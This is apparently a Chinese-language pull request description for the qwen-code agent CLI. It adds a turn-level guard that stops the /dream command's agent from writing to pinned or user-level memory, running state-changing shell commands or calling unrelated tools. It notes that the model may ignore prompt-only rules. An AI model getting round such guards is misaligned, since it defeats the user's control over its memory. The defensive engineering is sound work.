/dream回合。斜杠命令现在会携带一个回合级工具调用守卫，并让它贯穿交互式 TUI、非交互式/无头模式和 ACP 执行，也覆盖同一提示的工具结果续轮与 Stop Hook 续轮。该守卫复用了 forked Dream worker 的工具集合和文件系统边界：普通项目托管记忆写入与只读检查仍然可用，但会拒绝直接或通过符号链接写入pinned/、写入用户级记忆、执行会修改状态的 shell 命令，以及调用无关工具。现有 host guard 仍会与回合守卫组合；自动通知 drain、无关提示的重试、被复用的 scheduler request 和下一次用户回合都不会继承该守卫。为什么需要
#7714 已经保护 forked 的定时/工作区 Dream worker，但用户可见的
/dream以主 Agent 的submit_prompt回合运行，此前只依赖提示词约束。模型可能忽略提示并尝试修改 pinned memory。回合级调用守卫在不改变会话级权限、也不限制普通提示的前提下，补上了这个确定性执行缺口。Reviewer 测试计划
如何验证
运行针对工具守卫和传播路径的测试：
当前 head 已同步到
main的abfd44369860b53aff1b0607ff983be6a0a98bfa；本次刷新验证中，Core 聚焦套件 739/739 个测试通过，CLI 七个文件中选取的 85 个传播与恢复测试通过，Core/CLI typecheck 也均通过。测试夹具验证普通项目记忆写入仍被允许、直接及符号链接形式的 pinned 写入会被拒绝、用户级记忆写入和修改型 shell 会被拒绝、现有 host guard 仍具有约束力，并且守卫不会泄漏到无关回合。本地运行的仓库检查：
npm run typecheck npm run lint --workspace @qwen-code/qwen-code-core npm run lint --workspace @qwen-code/qwen-code git diff --name-only -z upstream/main..HEAD | xargs -0 npx prettier --check npm run build git diff --check upstream/main..HEAD证据（修改前与修改后）
N/A —— 这是非可视化的权限边界变更。自动化测试覆盖了拒绝、守卫组合、续轮传播和不泄漏行为。
测试平台
环境（可选）
macOS arm64、Node.js v26.5.0、npm 11.17.0。Windows 和 Linux 留给 CI 验证。
风险与范围
/dream回合的异步续轮中持续生效，同时不能扩大成会话级限制；提示标识、scheduler request 隔离、通知 drain、重试和下一回合测试覆盖了这个边界。/forget，以及 pinned-memory UI 指示器。关联 Issue
Refs #6801
#7714 的后续 PR。